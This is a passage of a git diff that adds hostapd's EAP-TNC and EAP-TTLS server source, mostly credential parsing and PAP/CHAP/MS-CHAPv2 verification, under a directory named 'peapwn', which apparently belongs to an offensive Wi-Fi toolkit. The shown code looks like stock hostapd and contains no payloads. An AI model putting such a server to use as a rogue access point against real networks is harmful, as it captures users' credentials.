wpa_printf(MSG_DEBUG, "EAP-TNC: Failed to " + "generate recommendation message"); + return NULL; + } + data->out_used = 0; + } + return eap_tnc_build_msg(data, id); + case WAIT_FRAG_ACK: + return eap_tnc_build_msg(data, id); + case FRAG_ACK: + return eap_tnc_build_frag_ack(id, EAP_CODE_REQUEST); + case DONE: + case FAIL: + return NULL; + } + + return NULL; +} + + +static Boolean eap_tnc_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_tnc_data *data = priv; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_TNC, respData, + &len); + if (pos == NULL) { + wpa_printf(MSG_INFO, "EAP-TNC: Invalid frame"); + return TRUE; + } + + if (len == 0 && data->state != WAIT_FRAG_ACK) { + wpa_printf(MSG_INFO, "EAP-TNC: Invalid frame (empty)"); + return TRUE; + } + + if (len == 0) + return FALSE; /* Fragment ACK does not include flags */ + + if ((*pos & EAP_TNC_VERSION_MASK) != EAP_TNC_VERSION) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Unsupported version %d", + *pos & EAP_TNC_VERSION_MASK); + return TRUE; + } + + if (*pos & EAP_TNC_FLAGS_START) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Peer used Start flag"); + return TRUE; + } + + return FALSE; +} + + +static void tncs_process(struct eap_tnc_data *data, struct wpabuf *inbuf) +{ + enum tncs_process_res res; + + res = tncs_process_if_tnccs(data->tncs, wpabuf_head(inbuf), + wpabuf_len(inbuf)); + switch (res) { + case TNCCS_RECOMMENDATION_ALLOW: + wpa_printf(MSG_DEBUG, "EAP-TNC: TNCS allowed access"); + eap_tnc_set_state(data, RECOMMENDATION); + data->recommendation = ALLOW; + break; + case TNCCS_RECOMMENDATION_NO_RECOMMENDATION: + wpa_printf(MSG_DEBUG, "EAP-TNC: TNCS has no recommendation"); + eap_tnc_set_state(data, RECOMMENDATION); + data->recommendation = NO_RECOMMENDATION; + break; + case TNCCS_RECOMMENDATION_ISOLATE: + wpa_printf(MSG_DEBUG, "EAP-TNC: TNCS requested isolation"); + eap_tnc_set_state(data, RECOMMENDATION); + data->recommendation = ISOLATE; + break; + case TNCCS_RECOMMENDATION_NO_ACCESS: + wpa_printf(MSG_DEBUG, "EAP-TNC: TNCS rejected access"); + eap_tnc_set_state(data, RECOMMENDATION); + data->recommendation = NO_ACCESS; + break; + case TNCCS_PROCESS_ERROR: + wpa_printf(MSG_DEBUG, "EAP-TNC: TNCS processing error"); + eap_tnc_set_state(data, FAIL); + break; + default: + break; + } +} + + +static int eap_tnc_process_cont(struct eap_tnc_data *data, + const u8 *buf, size_t len) +{ + /* Process continuation of a pending message */ + if (len > wpabuf_tailroom(data->in_buf)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Fragment overflow"); + eap_tnc_set_state(data, FAIL); + return -1; + } + + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-TNC: Received %lu bytes, waiting for %lu " + "bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + + return 0; +} + + +static int eap_tnc_process_fragment(struct eap_tnc_data *data, + u8 flags, u32 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->in_buf == NULL && !(flags & EAP_TNC_FLAGS_LENGTH_INCLUDED)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: No Message Length field in a " + "fragmented packet"); + return -1; + } + + if (data->in_buf == NULL) { + /* First fragment of the message */ + data->in_buf = wpabuf_alloc(message_length); + if (data->in_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TNC: No memory for " + "message"); + return -1; + } + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-TNC: Received %lu bytes in first " + "fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + } + + return 0; +} + + +static void eap_tnc_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_tnc_data *data = priv; + const u8 *pos, *end; + size_t len; + u8 flags; + u32 message_length = 0; + struct wpabuf tmpbuf; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_TNC, respData, &len); + if (pos == NULL) + return; /* Should not happen; message already verified */ + + end = pos + len; + + if (len == 1 && (data->state == DONE || data->state == FAIL)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Peer acknowledged the last " + "message"); + return; + } + + if (len == 0) { + /* fragment ack */ + flags = 0; + } else + flags = *pos++; + + if (flags & EAP_TNC_FLAGS_LENGTH_INCLUDED) { + if (end - pos < 4) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Message underflow"); + eap_tnc_set_state(data, FAIL); + return; + } + message_length = WPA_GET_BE32(pos); + pos += 4; + + if (message_length < (u32) (end - pos)) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Invalid Message " + "Length (%d; %ld remaining in this msg)", + message_length, (long) (end - pos)); + eap_tnc_set_state(data, FAIL); + return; + } + } + wpa_printf(MSG_DEBUG, "EAP-TNC: Received packet: Flags 0x%x " + "Message Length %u", flags, message_length); + + if (data->state == WAIT_FRAG_ACK) { + if (len > 1) { + wpa_printf(MSG_DEBUG, "EAP-TNC: Unexpected payload " + "in WAIT_FRAG_ACK state"); + eap_tnc_set_state(data, FAIL); + return; + } + wpa_printf(MSG_DEBUG, "EAP-TNC: Fragment acknowledged"); + eap_tnc_set_state(data, CONTINUE); + return; + } + + if (data->in_buf && eap_tnc_process_cont(data, pos, end - pos) < 0) { + eap_tnc_set_state(data, FAIL); + return; + } + + if (flags & EAP_TNC_FLAGS_MORE_FRAGMENTS) { + if (eap_tnc_process_fragment(data, flags, message_length, + pos, end - pos) < 0) + eap_tnc_set_state(data, FAIL); + else + eap_tnc_set_state(data, FRAG_ACK); + return; + } else if (data->state == FRAG_ACK) { + wpa_printf(MSG_DEBUG, "EAP-TNC: All fragments received"); + eap_tnc_set_state(data, CONTINUE); + } + + if (data->in_buf == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&tmpbuf, pos, end - pos); + data->in_buf = &tmpbuf; + } + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-TNC: Received payload", + wpabuf_head(data->in_buf), wpabuf_len(data->in_buf)); + tncs_process(data, data->in_buf); + + if (data->in_buf != &tmpbuf) + wpabuf_free(data->in_buf); + data->in_buf = NULL; +} + + +static Boolean eap_tnc_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_tnc_data *data = priv; + return data->state == DONE || data->state == FAIL; +} + + +static Boolean eap_tnc_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_tnc_data *data = priv; + return data->state == DONE; +} + + +int eap_server_tnc_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_TNC, "TNC"); + if (eap == NULL) + return -1; + + eap->init = eap_tnc_init; + eap->reset = eap_tnc_reset; + eap->buildReq = eap_tnc_buildReq; + eap->check = eap_tnc_check; + eap->process = eap_tnc_process; + eap->isDone = eap_tnc_isDone; + eap->isSuccess = eap_tnc_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_ttls.c b/peapwn/mods/hostap/src/eap_server/eap_server_ttls.c new file mode 100644 index 000000000..647bd2fad --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_ttls.c @@ -0,0 +1,1193 @@ +/* + * hostapd / EAP-TTLS (RFC 5281) + * Copyright (c) 2004-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/ms_funcs.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "eap_server/eap_i.h" +#include "eap_server/eap_tls_common.h" +#include "eap_common/chap.h" +#include "eap_common/eap_ttls.h" + + +#define EAP_TTLS_VERSION 0 + + +static void eap_ttls_reset(struct eap_sm *sm, void *priv); + + +struct eap_ttls_data { + struct eap_ssl_data ssl; + enum { + START, PHASE1, PHASE2_START, PHASE2_METHOD, + PHASE2_MSCHAPV2_RESP, SUCCESS, FAILURE + } state; + + int ttls_version; + const struct eap_method *phase2_method; + void *phase2_priv; + int mschapv2_resp_ok; + u8 mschapv2_auth_response[20]; + u8 mschapv2_ident; + struct wpabuf *pending_phase2_eap_resp; + int tnc_started; +}; + + +static const char * eap_ttls_state_txt(int state) +{ + switch (state) { + case START: + return "START"; + case PHASE1: + return "PHASE1"; + case PHASE2_START: + return "PHASE2_START"; + case PHASE2_METHOD: + return "PHASE2_METHOD"; + case PHASE2_MSCHAPV2_RESP: + return "PHASE2_MSCHAPV2_RESP"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "Unknown?!"; + } +} + + +static void eap_ttls_state(struct eap_ttls_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-TTLS: %s -> %s", + eap_ttls_state_txt(data->state), + eap_ttls_state_txt(state)); + data->state = state; +} + + +static u8 * eap_ttls_avp_hdr(u8 *avphdr, u32 avp_code, u32 vendor_id, + int mandatory, size_t len) +{ + struct ttls_avp_vendor *avp; + u8 flags; + size_t hdrlen; + + avp = (struct ttls_avp_vendor *) avphdr; + flags = mandatory ? AVP_FLAGS_MANDATORY : 0; + if (vendor_id) { + flags |= AVP_FLAGS_VENDOR; + hdrlen = sizeof(*avp); + avp->vendor_id = host_to_be32(vendor_id); + } else { + hdrlen = sizeof(struct ttls_avp); + } + + avp->avp_code = host_to_be32(avp_code); + avp->avp_length = host_to_be32(((u32) flags << 24) | + ((u32) (hdrlen + len))); + + return avphdr + hdrlen; +} + + +static struct wpabuf * eap_ttls_avp_encapsulate(struct wpabuf *resp, + u32 avp_code, int mandatory) +{ + struct wpabuf *avp; + u8 *pos; + + avp = wpabuf_alloc(sizeof(struct ttls_avp) + wpabuf_len(resp) + 4); + if (avp == NULL) { + wpabuf_free(resp); + return NULL; + } + + pos = eap_ttls_avp_hdr(wpabuf_mhead(avp), avp_code, 0, mandatory, + wpabuf_len(resp)); + os_memcpy(pos, wpabuf_head(resp), wpabuf_len(resp)); + pos += wpabuf_len(resp); + AVP_PAD((const u8 *) wpabuf_head(avp), pos); + wpabuf_free(resp); + wpabuf_put(avp, pos - (u8 *) wpabuf_head(avp)); + return avp; +} + + +struct eap_ttls_avp { + /* Note: eap is allocated memory; caller is responsible for freeing + * it. All the other pointers are pointing to the packet data, i.e., + * they must not be freed separately. */ + u8 *eap; + size_t eap_len; + u8 *user_name; + size_t user_name_len; + u8 *user_password; + size_t user_password_len; + u8 *chap_challenge; + size_t chap_challenge_len; + u8 *chap_password; + size_t chap_password_len; + u8 *mschap_challenge; + size_t mschap_challenge_len; + u8 *mschap_response; + size_t mschap_response_len; + u8 *mschap2_response; + size_t mschap2_response_len; +}; + + +static int eap_ttls_avp_parse(struct wpabuf *buf, struct eap_ttls_avp *parse) +{ + struct ttls_avp *avp; + u8 *pos; + int left; + + pos = wpabuf_mhead(buf); + left = wpabuf_len(buf); + os_memset(parse, 0, sizeof(*parse)); + + while (left > 0) { + u32 avp_code, avp_length, vendor_id = 0; + u8 avp_flags, *dpos; + size_t pad, dlen; + avp = (struct ttls_avp *) pos; + avp_code = be_to_host32(avp->avp_code); + avp_length = be_to_host32(avp->avp_length); + avp_flags = (avp_length >> 24) & 0xff; + avp_length &= 0xffffff; + wpa_printf(MSG_DEBUG, "EAP-TTLS: AVP: code=%d flags=0x%02x " + "length=%d", (int) avp_code, avp_flags, + (int) avp_length); + if ((int) avp_length > left) { + wpa_printf(MSG_WARNING, "EAP-TTLS: AVP overflow " + "(len=%d, left=%d) - dropped", + (int) avp_length, left); + goto fail; + } + if (avp_length < sizeof(*avp)) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Invalid AVP length " + "%d", avp_length); + goto fail; + } + dpos = (u8 *) (avp + 1); + dlen = avp_length - sizeof(*avp); + if (avp_flags & AVP_FLAGS_VENDOR) { + if (dlen < 4) { + wpa_printf(MSG_WARNING, "EAP-TTLS: vendor AVP " + "underflow"); + goto fail; + } + vendor_id = be_to_host32(* (be32 *) dpos); + wpa_printf(MSG_DEBUG, "EAP-TTLS: AVP vendor_id %d", + (int) vendor_id); + dpos += 4; + dlen -= 4; + } + + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: AVP data", dpos, dlen); + + if (vendor_id == 0 && avp_code == RADIUS_ATTR_EAP_MESSAGE) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: AVP - EAP Message"); + if (parse->eap == NULL) { + parse->eap = os_malloc(dlen); + if (parse->eap == NULL) { + wpa_printf(MSG_WARNING, "EAP-TTLS: " + "failed to allocate memory " + "for Phase 2 EAP data"); + goto fail; + } + os_memcpy(parse->eap, dpos, dlen); + parse->eap_len = dlen; + } else { + u8 *neweap = os_realloc(parse->eap, + parse->eap_len + dlen); + if (neweap == NULL) { + wpa_printf(MSG_WARNING, "EAP-TTLS: " + "failed to allocate memory " + "for Phase 2 EAP data"); + goto fail; + } + os_memcpy(neweap + parse->eap_len, dpos, dlen); + parse->eap = neweap; + parse->eap_len += dlen; + } + } else if (vendor_id == 0 && + avp_code == RADIUS_ATTR_USER_NAME) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-TTLS: User-Name", + dpos, dlen); + parse->user_name = dpos; + parse->user_name_len = dlen; + } else if (vendor_id == 0 && + avp_code == RADIUS_ATTR_USER_PASSWORD) { + u8 *password = dpos; + size_t password_len = dlen; + while (password_len > 0 && + password[password_len - 1] == '\0') { + password_len--; + } + wpa_hexdump_ascii_key(MSG_DEBUG, "EAP-TTLS: " + "User-Password (PAP)", + password, password_len); + parse->user_password = password; + parse->user_password_len = password_len; + } else if (vendor_id == 0 && + avp_code == RADIUS_ATTR_CHAP_CHALLENGE) { + wpa_hexdump(MSG_DEBUG, + "EAP-TTLS: CHAP-Challenge (CHAP)", + dpos, dlen); + parse->chap_challenge = dpos; + parse->chap_challenge_len = dlen; + } else if (vendor_id == 0 && + avp_code == RADIUS_ATTR_CHAP_PASSWORD) { + wpa_hexdump(MSG_DEBUG, + "EAP-TTLS: CHAP-Password (CHAP)", + dpos, dlen); + parse->chap_password = dpos; + parse->chap_password_len = dlen; + } else if (vendor_id == RADIUS_VENDOR_ID_MICROSOFT && + avp_code == RADIUS_ATTR_MS_CHAP_CHALLENGE) { + wpa_hexdump(MSG_DEBUG, + "EAP-TTLS: MS-CHAP-Challenge", + dpos, dlen); + parse->mschap_challenge = dpos; + parse->mschap_challenge_len = dlen; + } else if (vendor_id == RADIUS_VENDOR_ID_MICROSOFT && + avp_code == RADIUS_ATTR_MS_CHAP_RESPONSE) { + wpa_hexdump(MSG_DEBUG, + "EAP-TTLS: MS-CHAP-Response (MSCHAP)", + dpos, dlen); + parse->mschap_response = dpos; + parse->mschap_response_len = dlen; + } else if (vendor_id == RADIUS_VENDOR_ID_MICROSOFT && + avp_code == RADIUS_ATTR_MS_CHAP2_RESPONSE) { + wpa_hexdump(MSG_DEBUG, + "EAP-TTLS: MS-CHAP2-Response (MSCHAPV2)", + dpos, dlen); + parse->mschap2_response = dpos; + parse->mschap2_response_len = dlen; + } else if (avp_flags & AVP_FLAGS_MANDATORY) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Unsupported " + "mandatory AVP code %d vendor_id %d - " + "dropped", (int) avp_code, (int) vendor_id); + goto fail; + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Ignoring unsupported " + "AVP code %d vendor_id %d", + (int) avp_code, (int) vendor_id); + } + + pad = (4 - (avp_length & 3)) & 3; + pos += avp_length + pad; + left -= avp_length + pad; + } + + return 0; + +fail: + os_free(parse->eap); + parse->eap = NULL; + return -1; +} + + +static u8 * eap_ttls_implicit_challenge(struct eap_sm *sm, + struct eap_ttls_data *data, size_t len) +{ + return eap_server_tls_derive_key(sm, &data->ssl, "ttls challenge", + len); +} + + +static void * eap_ttls_init(struct eap_sm *sm) +{ + struct eap_ttls_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->ttls_version = EAP_TTLS_VERSION; + data->state = START; + + if (eap_server_tls_ssl_init(sm, &data->ssl, 0)) { + wpa_printf(MSG_INFO, "EAP-TTLS: Failed to initialize SSL."); + eap_ttls_reset(sm, data); + return NULL; + } + + return data; +} + + +static void eap_ttls_reset(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + if (data == NULL) + return; + if (data->phase2_priv && data->phase2_method) + data->phase2_method->reset(sm, data->phase2_priv); + eap_server_tls_ssl_deinit(sm, &data->ssl); + wpabuf_free(data->pending_phase2_eap_resp); + os_free(data); +} + + +static struct wpabuf * eap_ttls_build_start(struct eap_sm *sm, + struct eap_ttls_data *data, u8 id) +{ + struct wpabuf *req; + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TTLS, 1, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-TTLS: Failed to allocate memory for" + " request"); + eap_ttls_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, EAP_TLS_FLAGS_START | data->ttls_version); + + eap_ttls_state(data, PHASE1); + + return req; +} + + +static struct wpabuf * eap_ttls_build_phase2_eap_req( + struct eap_sm *sm, struct eap_ttls_data *data, u8 id) +{ + struct wpabuf *buf, *encr_req; + + + buf = data->phase2_method->buildReq(sm, data->phase2_priv, id); + if (buf == NULL) + return NULL; + + wpa_hexdump_buf_key(MSG_DEBUG, + "EAP-TTLS/EAP: Encapsulate Phase 2 data", buf); + + buf = eap_ttls_avp_encapsulate(buf, RADIUS_ATTR_EAP_MESSAGE, 1); + if (buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/EAP: Failed to encapsulate " + "packet"); + return NULL; + } + + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-TTLS/EAP: Encrypt encapsulated " + "Phase 2 data", buf); + + encr_req = eap_server_tls_encrypt(sm, &data->ssl, buf); + wpabuf_free(buf); + + return encr_req; +} + + +static struct wpabuf * eap_ttls_build_phase2_mschapv2( + struct eap_sm *sm, struct eap_ttls_data *data) +{ + struct wpabuf *encr_req, msgbuf; + u8 *req, *pos, *end; + int ret; + + pos = req = os_malloc(100); + if (req == NULL) + return NULL; + end = req + 100; + + if (data->mschapv2_resp_ok) { + pos = eap_ttls_avp_hdr(pos, RADIUS_ATTR_MS_CHAP2_SUCCESS, + RADIUS_VENDOR_ID_MICROSOFT, 1, 43); + *pos++ = data->mschapv2_ident; + ret = os_snprintf((char *) pos, end - pos, "S="); + if (ret >= 0 && ret < end - pos) + pos += ret; + pos += wpa_snprintf_hex_uppercase( + (char *) pos, end - pos, data->mschapv2_auth_response, + sizeof(data->mschapv2_auth_response)); + } else { + pos = eap_ttls_avp_hdr(pos, RADIUS_ATTR_MS_CHAP_ERROR, + RADIUS_VENDOR_ID_MICROSOFT, 1, 6); + os_memcpy(pos, "Failed", 6); + pos += 6; + AVP_PAD(req, pos); + } + + wpabuf_set(&msgbuf, req, pos - req); + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Encrypting Phase 2 " + "data", &msgbuf); + + encr_req = eap_server_tls_encrypt(sm, &data->ssl, &msgbuf); + os_free(req); + + return encr_req; +} + + +static struct wpabuf * eap_ttls_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_ttls_data *data = priv; + + if (data->ssl.state == FRAG_ACK) { + return eap_server_tls_build_ack(id, EAP_TYPE_TTLS, + data->ttls_version); + } + + if (data->ssl.state == WAIT_FRAG_ACK) { + return eap_server_tls_build_msg(&data->ssl, EAP_TYPE_TTLS, + data->ttls_version, id); + } + + switch (data->state) { + case START: + return eap_ttls_build_start(sm, data, id); + case PHASE1: + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase1 done, " + "starting Phase2"); + eap_ttls_state(data, PHASE2_START); + } + break; + case PHASE2_METHOD: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_ttls_build_phase2_eap_req(sm, data, + id); + break; + case PHASE2_MSCHAPV2_RESP: + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = eap_ttls_build_phase2_mschapv2(sm, data); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-TTLS: %s - unexpected state %d", + __func__, data->state); + return NULL; + } + + return eap_server_tls_build_msg(&data->ssl, EAP_TYPE_TTLS, + data->ttls_version, id); +} + + +static Boolean eap_ttls_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_TTLS, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-TTLS: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static void eap_ttls_process_phase2_pap(struct eap_sm *sm, + struct eap_ttls_data *data, + const u8 *user_password, + size_t user_password_len) +{ + if (!sm->user || !sm->user->password || sm->user->password_hash || + !(sm->user->ttls_auth & EAP_TTLS_AUTH_PAP)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: No plaintext user " + "password configured"); + eap_ttls_state(data, FAILURE); + return; + } + + if (sm->user->password_len != user_password_len || + os_memcmp(sm->user->password, user_password, user_password_len) != + 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password"); + eap_ttls_state(data, FAILURE); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Correct user password"); + eap_ttls_state(data, SUCCESS); +} + + +static void eap_ttls_process_phase2_chap(struct eap_sm *sm, + struct eap_ttls_data *data, + const u8 *challenge, + size_t challenge_len, + const u8 *password, + size_t password_len) +{ + u8 *chal, hash[CHAP_MD5_LEN]; + + if (challenge == NULL || password == NULL || + challenge_len != EAP_TTLS_CHAP_CHALLENGE_LEN || + password_len != 1 + EAP_TTLS_CHAP_PASSWORD_LEN) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Invalid CHAP attributes " + "(challenge len %lu password len %lu)", + (unsigned long) challenge_len, + (unsigned long) password_len); + eap_ttls_state(data, FAILURE); + return; + } + + if (!sm->user || !sm->user->password || sm->user->password_hash || + !(sm->user->ttls_auth & EAP_TTLS_AUTH_CHAP)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: No plaintext user " + "password configured"); + eap_ttls_state(data, FAILURE); + return; + } + + chal = eap_ttls_implicit_challenge(sm, data, + EAP_TTLS_CHAP_CHALLENGE_LEN + 1); + if (chal == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Failed to generate " + "challenge from TLS data"); + eap_ttls_state(data, FAILURE); + return; + } + + if (os_memcmp(challenge, chal, EAP_TTLS_CHAP_CHALLENGE_LEN) != 0 || + password[0] != chal[EAP_TTLS_CHAP_CHALLENGE_LEN]) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Challenge mismatch"); + os_free(chal); + eap_ttls_state(data, FAILURE); + return; + } + os_free(chal); + + /* MD5(Ident + Password + Challenge) */ + chap_md5(password[0], sm->user->password, sm->user->password_len, + challenge, challenge_len, hash); + + if (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password"); + eap_ttls_state(data, SUCCESS); + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Invalid user password"); + eap_ttls_state(data, FAILURE); + } +} + + +static void eap_ttls_process_phase2_mschap(struct eap_sm *sm, + struct eap_ttls_data *data, + u8 *challenge, size_t challenge_len, + u8 *response, size_t response_len) +{ + u8 *chal, nt_response[24]; + + if (challenge == NULL || response == NULL || + challenge_len != EAP_TTLS_MSCHAP_CHALLENGE_LEN || + response_len != EAP_TTLS_MSCHAP_RESPONSE_LEN) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Invalid MS-CHAP " + "attributes (challenge len %lu response len %lu)", + (unsigned long) challenge_len, + (unsigned long) response_len); + eap_ttls_state(data, FAILURE); + return; + } + + if (!sm->user || !sm->user->password || + !(sm->user->ttls_auth & EAP_TTLS_AUTH_MSCHAP)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: No user password " + "configured"); + eap_ttls_state(data, FAILURE); + return; + } + + chal = eap_ttls_implicit_challenge(sm, data, + EAP_TTLS_MSCHAP_CHALLENGE_LEN + 1); + if (chal == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Failed to generate " + "challenge from TLS data"); + eap_ttls_state(data, FAILURE); + return; + } + + if (os_memcmp(challenge, chal, EAP_TTLS_MSCHAP_CHALLENGE_LEN) != 0 || + response[0] != chal[EAP_TTLS_MSCHAP_CHALLENGE_LEN]) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Challenge mismatch"); + os_free(chal); + eap_ttls_state(data, FAILURE); + return; + } + os_free(chal); + + if (sm->user->password_hash) + challenge_response(challenge, sm->user->password, nt_response); + else + nt_challenge_response(challenge, sm->user->password, + sm->user->password_len, nt_response); + + if (os_memcmp(nt_response, response + 2 + 24, 24) == 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response"); + eap_ttls_state(data, SUCCESS); + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Invalid NT-Response"); + wpa_hexdump(MSG_MSGDUMP, "EAP-TTLS/MSCHAP: Received", + response + 2 + 24, 24); + wpa_hexdump(MSG_MSGDUMP, "EAP-TTLS/MSCHAP: Expected", + nt_response, 24); + eap_ttls_state(data, FAILURE); + } +} + + +static void eap_ttls_process_phase2_mschapv2(struct eap_sm *sm, + struct eap_ttls_data *data, + u8 *challenge, + size_t challenge_len, + u8 *response, size_t response_len) +{ + u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge, + *auth_challenge; + size_t username_len, i; + + if (challenge == NULL || response == NULL || + challenge_len != EAP_TTLS_MSCHAPV2_CHALLENGE_LEN || + response_len != EAP_TTLS_MSCHAPV2_RESPONSE_LEN) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Invalid MS-CHAP2 " + "attributes (challenge len %lu response len %lu)", + (unsigned long) challenge_len, + (unsigned long) response_len); + eap_ttls_state(data, FAILURE); + return; + } + + if (!sm->user || !sm->user->password || + !(sm->user->ttls_auth & EAP_TTLS_AUTH_MSCHAPV2)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: No user password " + "configured"); + eap_ttls_state(data, FAILURE); + return; + } + + if (sm->identity == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: No user identity " + "known"); + eap_ttls_state(data, FAILURE); + return; + } + + /* MSCHAPv2 does not include optional domain name in the + * challenge-response calculation, so remove domain prefix + * (if present). */ + username = sm->identity; + username_len = sm->identity_len; + for (i = 0; i < username_len; i++) { + if (username[i] == '\\') { + username_len -= i + 1; + username += i + 1; + break; + } + } + + chal = eap_ttls_implicit_challenge( + sm, data, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 1); + if (chal == NULL) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Failed to generate " + "challenge from TLS data"); + eap_ttls_state(data, FAILURE); + return; + } + + if (os_memcmp(challenge, chal, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN) != 0 || + response[0] != chal[EAP_TTLS_MSCHAPV2_CHALLENGE_LEN]) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Challenge mismatch"); + os_free(chal); + eap_ttls_state(data, FAILURE); + return; + } + os_free(chal); + + auth_challenge = challenge; + peer_challenge = response + 2; + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-TTLS/MSCHAPV2: User", + username, username_len); + wpa_hexdump(MSG_MSGDUMP, "EAP-TTLS/MSCHAPV2: auth_challenge", + auth_challenge, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-TTLS/MSCHAPV2: peer_challenge", + peer_challenge, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN); + + if (sm->user->password_hash) { + generate_nt_response_pwhash(auth_challenge, peer_challenge, + username, username_len, + sm->user->password, + nt_response); + } else { + generate_nt_response(auth_challenge, peer_challenge, + username, username_len, + sm->user->password, + sm->user->password_len, + nt_response); + } + + rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8; + if (os_memcmp(nt_response, rx_resp, 24) == 0) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Correct " + "NT-Response"); + data->mschapv2_resp_ok = 1; + + if (sm->user->password_hash) { + generate_authenticator_response_pwhash( + sm->user->password, + peer_challenge, auth_challenge, + username, username_len, nt_response, + data->mschapv2_auth_response); + } else { + generate_authenticator_response( + sm->user->password, sm->user->password_len, + peer_challenge, auth_challenge, + username, username_len, nt_response, + data->mschapv2_auth_response); + } + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Invalid " + "NT-Response"); + wpa_hexdump(MSG_MSGDUMP, "EAP-TTLS/MSCHAPV2: Received", + rx_resp, 24); + wpa_hexdump(MSG_MSGDUMP, "EAP-TTLS/MSCHAPV2: Expected", + nt_response, 24); + data->mschapv2_resp_ok = 0; + } + 